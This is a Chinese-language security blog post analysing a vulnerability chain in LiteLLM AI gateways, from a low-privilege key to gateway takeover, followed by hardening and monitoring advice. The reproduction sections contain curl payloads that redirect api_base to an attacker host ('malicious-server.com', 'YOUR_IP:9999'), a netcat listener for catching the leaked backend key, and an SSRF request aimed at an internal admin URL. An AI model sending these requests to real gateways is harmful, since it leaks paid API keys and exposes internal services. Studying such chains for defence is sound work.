1. 从一次内部安全演练说起:低权限Key的“蝴蝶效应”
最近在复盘一次内部红蓝对抗演练时,我们团队发现了一个非常有意思且具有普遍性的攻击路径。攻击的起点毫不起眼:一个仅拥有“只读”或“有限调用”权限的API Key。在很多开发者和运维人员的认知里,这种低权限的Key就像是给了访客一张只能在大厅活动的门禁卡,似乎掀不起什么风浪。然而,在微服务架构和AI应用网关(AI Gateway)日益普及的今天,这种认知可能带来致命的安全盲区。我们这次遭遇的,正是一个由低权限Key作为支点,最终撬动了整个AI Gateway控制权的完整漏洞链,而漏洞的核心,便围绕着开源项目LiteLLM展开。
LiteLLM作为一个轻量级的AI模型调用代理,其设计初衷非常美好:统一不同厂商(如OpenAI、Anthropic、Cohere等)的API接口,让开发者可以用一套代码和配置轻松切换底层模型。它常常被部署为内部的AI Gateway,统一管理API Key、进行流量路由、计费和监控。问题就在于,当这样一个枢纽性的组件出现权限校验逻辑缺陷时,原本被严格隔离的低权限Key,就可能成为攻击者穿越层层防线、实现横向移动和权限提升的跳板。这不是一个单纯的“漏洞”,而是一个由多个薄弱环节串联而成的“漏洞链”,其中涉及配置错误、逻辑缺陷和对依赖服务的信任过度。
2. LiteLLM架构与核心风险点拆解
要理解这个漏洞链,首先得摸清LiteLLM在典型生产环境中的部署方式和它掌控的“权力”。LiteLLM通常以独立服务的形式运行,它对外提供一个统一的API端点(例如http://ai-gateway.company.com/v1/completions),而对内则管理着一批上游AI供应商的API Key。
2.1 典型的部署拓扑与数据流
在一个标准部署中,数据流是这样的:
- 客户端应用(如一个聊天机器人前端)向LiteLLM网关发送请求。
- LiteLLM验证客户端的身份(通常通过一个客户端自身的API Key,我们称之为
user_key)。 - LiteLLM根据预设的路由规则,选择合适的上游模型提供商(如OpenAI)。
- LiteLLM使用自己配置的后端密钥(
backend_key,如OpenAI的API Key)向上游发起真实请求。 - 将上游的响应处理后,返回给客户端。
这里的关键在于两套密钥体系:
- 用户密钥(
user_key):用于认证和授权终端用户或应用。在LiteLLM的配置中,可以为每个user_key设置预算、速率限制和允许调用的模型列表。 - 后端密钥(
backend_key):是LiteLLM服务本身用于访问真实AI模型服务的凭证,拥有较高的权限(通常是计费账户的API Key)。这部分配置通常保存在LiteLLM服务器的环境变量或配置文件中。
2.2 权限模型的“理想”与“现实”
LiteLLM设计上支持基于user_key的细粒度权限控制。管理员可以在配置中指定:
user_config: “user-key-123”: budget: 10 # 美元预算 models: [“gpt-3.5-turbo”, “claude-instant-1”] # 允许调用的模型理论上,持有user-key-123的客户端只能使用指定的模型,且总花费不能超过10美元。这看起来是一个完善的沙箱。
然而,漏洞链的起点就隐藏在实现细节里。我们发现在某些特定配置下,或者由于功能迭代产生的逻辑冲突,LiteLLM对用户请求中某些参数的校验存在缺陷。攻击者可以通过低权限的user_key,在请求中“夹带私货”,从而影响LiteLLM对backend_key的选择和使用逻辑,甚至直接窃取或篡改路由目标。
注意:这里描述的是一种逻辑漏洞的模式,并非指代某一个固定的CVE。实际风险取决于具体的LiteLLM版本、配置和集成的功能模块。
3. 漏洞链深度剖析:从越权到接管
下面,我们来还原这条攻击链的完整步骤。假设攻击者已经通过某种方式(如源码泄露、配置错误公开)获取了一个低权限的user_key。这个Key可能只有很小的预算,且只能调用最基础的模型。
3.1 第一阶段:参数注入与上游端点篡改
LiteLLM为了灵活性,允许在请求中通过特定参数指定一些上游信息。例如,虽然配置里写死了使用OpenAI的GPT-3.5,但API设计上可能保留了api_base这样的参数,用于覆盖默认的请求地址。
正常的请求:
curl -X POST http://ai-gateway.internal/v1/chat/completions \ -H “Authorization: Bearer user-key-low-priv” \ -H “Content-Type: application/json” \ -d ‘{ “model”: “gpt-3.5-turbo”, “messages”: [{“role”: “user”, “content”: “Hello”}] }‘攻击尝试: 攻击者发现,如果构造一个包含api_base参数的请求,LiteLLM可能会在未充分校验的情况下,将请求转发到指定的地址。
curl -X POST http://ai-gateway.internal/v1/chat/completions \ -H “Authorization: Bearer user-key-low-priv” \ -H “Content-Type: application/json” \ -d ‘{ “model”: “gpt-3.5-turbo”, “messages”: [{“role”: “user”, “content”: “Hello”}], “api_base”: “http://malicious-server.com" }‘如果漏洞存在,LiteLLM会使用其内置的高权限backend_key(比如OpenAI的Key),向http://malicious-server.com发起请求。这时,攻击者控制的服务器就可以收到这个包含高权限Key的请求头(Authorization: Bearer sk-real-openai-key-xxx),从而直接窃取该Key。
为什么能成功?根本原因在于权限校验的上下文错位。LiteLLM校验了user_key是否有权调用gpt-3.5-turbo,但却没有校验user_key是否有权修改api_base这个影响后端路由的关键参数。这属于一种“功能级”的越权。
3.2 第二阶段:利用代理功能实现SSRF与内部网络探测
即使第一步不成功,或者api_base参数被禁用了,攻击链仍有其他分支。LiteLLM支持复杂的代理和路由配置。例如,其配置中可能定义了多个“模型组”,每个组指向不同的上游。
攻击者可以通过低权限Key,尝试调用一些名称与内部服务相关的“模型”。如果LiteLLM的模型列表配置不够严谨,或者存在“默认路由”,攻击者可能诱使LiteLLM将请求发送到内部网络的其它HTTP服务上。
例如,假设内部有一个管理接口http://192.168.1.100:8080/admin。攻击者构造如下请求:
{ “model”: “http://192.168.1.100:8080/admin", “messages”: […] }如果LiteLLM错误地将这个model参数值直接当作上游URL进行请求,那么它就会携带高权限的backend_key(或服务本身的身份)去访问这个内部管理接口。这就构成了一个严重的服务器端请求伪造(SSRF)漏洞,不仅可以探测内网,还可能攻击内部脆弱系统。
3.3 第三阶段:配置读取与权限提升
最危险的情况,是攻击者能够通过漏洞链读取或篡改LiteLLM自身的运行时配置。一些开源AI Gateway项目会提供管理API来动态更新配置。如果这些管理接口的认证存在缺陷,或者与业务API共用同一认证机制但权限分离不清,攻击者就可能利用低权限的业务Key,访问到管理接口。
一旦能够读取配置,攻击者就能看到所有其他用户的user_key和更重要的backend_key。如果能够写入配置,攻击者可以直接为自己创建一个拥有无限预算、无模型限制的超管user_key,或者添加一个由自己控制的恶意上游,从而完全接管所有经过该网关的AI流量。
4. 实战复现与关键步骤验证
为了更清晰地理解,我们搭建了一个简化版的脆弱环境进行复现。请注意,以下操作仅用于安全研究学习,切勿在未授权环境中测试。
环境准备:
- 使用Docker快速部署一个LiteLLM服务,版本选择存在历史已知配置问题的一个旧版本(例如某个早期的1.x版本)。
- 配置两个
user_key:key_admin(拥有所有权限)和key_guest(仅限调用gpt-3.5-turbo,预算1美元)。 - 配置一个真实的OpenAI
backend_key(或用Mock Server模拟)。
复现步骤:
信息收集:首先,用低权限的
key_guest进行正常调用,确认功能正常。同时,通过查看文档或轻量级fuzzing,探测LiteLLM服务暴露的端点,除了/v1/chat/completions,可能还有/v1/models,/config,/health等。curl -H “Authorization: Bearer key_guest” http://localhost:4000/v1/models参数Fuzzing:对
/v1/chat/completions接口的请求体进行参数注入测试。除了api_base,还要测试api_key(尝试覆盖后端Key)、headers(尝试注入自定义请求头)、model(尝试URL或路径遍历)等参数。# 测试api_key覆盖 curl -X POST http://localhost:4000/v1/chat/completions \ -H “Authorization: Bearer key_guest” \ -H “Content-Type: application/json” \ -d ‘{ “model”: “gpt-3.5-turbo”, “messages”: [{“role”: “user”, “content”: “test”}], “api_key”: “attacker-controlled-key” }‘ # 观察LiteLLM是使用了自己的backend_key,还是使用了我们提供的api_key去请求上游。SSRF验证:如果参数注入成功,下一步是尝试SSRF。在本地启动一个Netcat监听端口,然后在请求中将
api_base指向http://<你的公网IP>:<端口>。# 攻击机监听 nc -lvnp 9999 # 发送恶意请求 curl -X POST http://localhost:4000/v1/chat/completions \ -H “Authorization: Bearer key_guest” \ -d ‘{“model”: “gpt-3.5”, “api_base”: “http://YOUR_IP:9999", “messages”: []}’如果在Netcat端收到了来自LiteLLM服务器的HTTP请求,并且请求头中包含了
Authorization: Bearer sk-real-...,那么证明后端Key已泄露。权限提升尝试:寻找管理接口。尝试访问如
/v1/config,/admin,/manage等路径,并使用key_guest进行认证,观察是否返回了敏感的配置信息。
复现中的关键发现:
- 漏洞的触发往往需要特定配置的组合,比如开启了
allow_dynamic_api_keys或litellm.api_base全局配置为空。 - LiteLLM的日志级别设置为
DEBUG时,可能会在错误信息中泄露内部路由和配置片段,这为攻击者提供了宝贵的信息。 - 某些版本中,对
model参数的处理逻辑过于复杂,当传入一个非标准模型名时,其fallback行为可能导致意外路由。
5. 修复与加固:构建安全的AI网关层
面对这样的漏洞链,单一的补丁往往不够,需要从架构、配置和运维多个层面进行纵深防御。
5.1 即时修复措施
- 升级与打补丁:立即将LiteLLM升级到最新稳定版,并关注其安全公告。开源社区对这类问题响应通常很快。
- 严格输入校验:在LiteLLM网关前部署一个反向代理(如Nginx)或API网关(如Kong, Tyk),对所有传入请求进行严格的参数过滤和模式匹配,直接拒绝包含
api_base、api_key、headers等敏感字段的请求。 - 网络隔离:将LiteLLM服务运行在一个独立的、出站网络访问受到严格限制的网络段中。只允许它访问必需的上游AI服务域名(如
api.openai.com),阻断所有到内网和未知外网的出站连接。这能从根本上杜绝SSRF风险。 - 密钥隔离:不要使用高权限的计费主Key作为
backend_key。各大AI平台都支持创建仅具备“完成”权限的子密钥(Service Key)。使用此类子密钥,即使泄露,其破坏力也有限。
5.2 长期安全架构建议
- 最小权限原则落地:为每一个客户端应用创建独立的、权限明确的
user_key,并设置严格的预算和模型白名单。定期审计和清理不再使用的Key。 - 配置安全硬化:审查LiteLLM的所有配置项,关闭一切不必要的功能,特别是动态配置、调试接口和管理API。确保生产环境关闭
DEBUG日志。 - 引入强认证与审计:不要仅依赖一个简单的
user_key字符串作为唯一认证凭证。考虑集成OAuth2.0、JWT等标准协议,并在网关层面实现完整的请求审计日志,记录Key、模型、消耗token数、时间戳和客户端IP,便于异常追踪。 - 依赖项安全扫描:将LiteLLM及其Python依赖库纳入软件成分分析(SCA)流程,定期扫描已知漏洞。
- 默认拒绝策略:在网关层面实施“默认拒绝”策略。即,除非显式允许的模型和参数,其他所有请求一律拒绝。这比“默认允许”再黑名单过滤要安全得多。
5.3 监控与应急响应
建立针对AI网关的特定监控指标:
- 异常请求频率:同一个
user_key在短时间内尝试调用多种不同模型。 - 参数异常:请求中出现非常规参数名或参数值(如包含
http://的model字段)。 - 预算燃烧速率:监控预算消耗速度,异常快速的消耗可能意味着Key被盗用或服务被滥用。
- 出站连接监控:监控LiteLLM服务发起的出站网络连接,如果出现了非预配置的上游地址,立即告警。
一旦发现疑似入侵,应急响应流程应包括:立即吊销涉事user_key和可能泄露的backend_key;检查LiteLLM配置是否被篡改;审查审计日志定位攻击源头;升级和修复漏洞。
6. 对AI应用基础设施安全的再思考
这次漏洞链的剖析,远不止于一个开源工具的具体问题。它暴露了在快速迭代的AI应用开发中,基础设施安全容易被忽视的普遍现状。AI Gateway作为新的关键组件,其安全模型需要被重新审视。
传统的API网关安全主要关注认证、授权、限流和防爬。而AI Gateway引入了新的维度:
- 模型作为攻击面:
model参数本身可能成为注入点。 - 成本即风险:API Key直接关联着真金白银的计费,泄露意味着直接的经济损失。
- 数据投毒与泄露:恶意的请求可能通过网关污染AI模型的微调数据,或通过精心构造的输入从响应中窃取敏感信息。
因此,在构建AI应用时,安全团队需要更早地介入,将AI Gateway与传统的API安全、云安全、数据安全能力进行融合。例如,可以在请求到达LiteLLM之前,先经过一个具备WAF能力的安全网关,对输入进行内容过滤和恶意模式检测;在响应返回客户端之前,对输出进行敏感信息脱敏。
说到底,安全是一个持续的过程,而非一劳永逸的状态。对于像LiteLLM这样优秀的开源项目,我们既要积极采用其带来的便利,也要清醒地认识到,任何作为流量中枢的组件,其安全配置都容不得半点马虎。从一个小小的低权限Key开始,到整个网关的潜在风险,这条攻击链清晰地告诉我们:在数字世界里,权限的边界,需要我们用代码和配置,一寸一寸地去坚守。